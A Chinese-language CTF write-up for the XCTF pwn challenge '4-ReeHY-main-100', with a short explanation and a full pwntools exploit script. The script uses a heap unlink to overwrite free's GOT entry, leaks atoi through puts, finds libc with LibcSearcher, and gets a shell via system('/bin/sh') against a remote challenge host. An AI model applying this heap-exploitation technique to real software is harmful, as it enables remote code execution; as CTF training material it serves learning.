xctf 4-ReeHY-main-100

卡了很久,最后发现他给的libc有点问题,还是用libcsearcher找,贼坑。
参考:https://bbs.pediy.com/thread-218300.htm

首先是unlink修改free的got表为puts的plt表地址,泄露函数地址,然后修改free为system,执行system(binsh)。

# -*- coding: utf-8 -*-  

from pwn import*
from LibcSearcher import *

context(arch = 'amd64', os = 'linux',log_level="debug") 

def Welcome():
    p.recvuntil("$ ")
    p.sendline("mutepig")
 
def Add(size,id,content):
    p.recvuntil("$ ")
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(size))
    p.recvuntil("cun\n")
    p.sendline(str(id))
    p.recvuntil("content\n")
    p.sendline(content)
 
def Remove(id):
    p.recvuntil("$ ")
    p.sendline("2")
    p.recvuntil("dele\n")
    p.sendline(str(id))
 
def Edit(id,content):
    p.recvuntil("$ ")
    p.sendline("3")
    p.recvuntil("edit\n")
    p.sendline(str(id))
    p.recvuntil("content\n")
    p.send(content)

if 0:  # local
    p = process("./4-ReeHY-main")

else:
    p = remote('111.198.29.45',43936)


elf = ELF('4-ReeHY-main')

free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
heap_addr = 0x602100

print hex(free_got)
Welcome()
Add(512,0,"/bin/sh\x00")
Add(512,1,"11111111")
Add(512,2,"22222222")
Add(512,3,"33333333")

Remove(3)													#这里如果用1,2会有问题,不知道啥原因
Remove(2)
print hex(heap_addr)


payload = p64(0) + p64(512+1) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10) + 'A'*(512-0x20) + p64(512) + p64(512)
Add(1024,2,payload)
Remove(3) 													#double free后,此时2的指针指向存放该指针的前3字节,在栈上

Edit(2,'1'*0x18 + p64(free_got)+p64(1)+p64(atoi_got))		#这里修改的是存放指向2和3的指针的位置,edit后,原本指向2的指针已指向got表中的free,原本指向3的指针指向got表中atoi函数的位置,用于泄露atoi函数的地址。

Edit(2,p64(puts_plt))										#修改free为puts
Remove(3)													#相当于puts(got[atoi])

atoi_addr=p.recv(6)
atoi_addr=atoi_addr.ljust(8,'\x00')
atoi_addr = u64(atoi_addr)
obj=LibcSearcher("atoi",atoi_addr)
base_addr = atoi_addr - obj.dump('atoi')
print "======="+hex(base_addr)

#raw_input()
#gdb.attach(p)
system_addr = base_addr + obj.dump('system')
 
Edit(2,p64(system_addr))
Remove(0)
p.interactive()

你可能感兴趣的:(pwn,堆)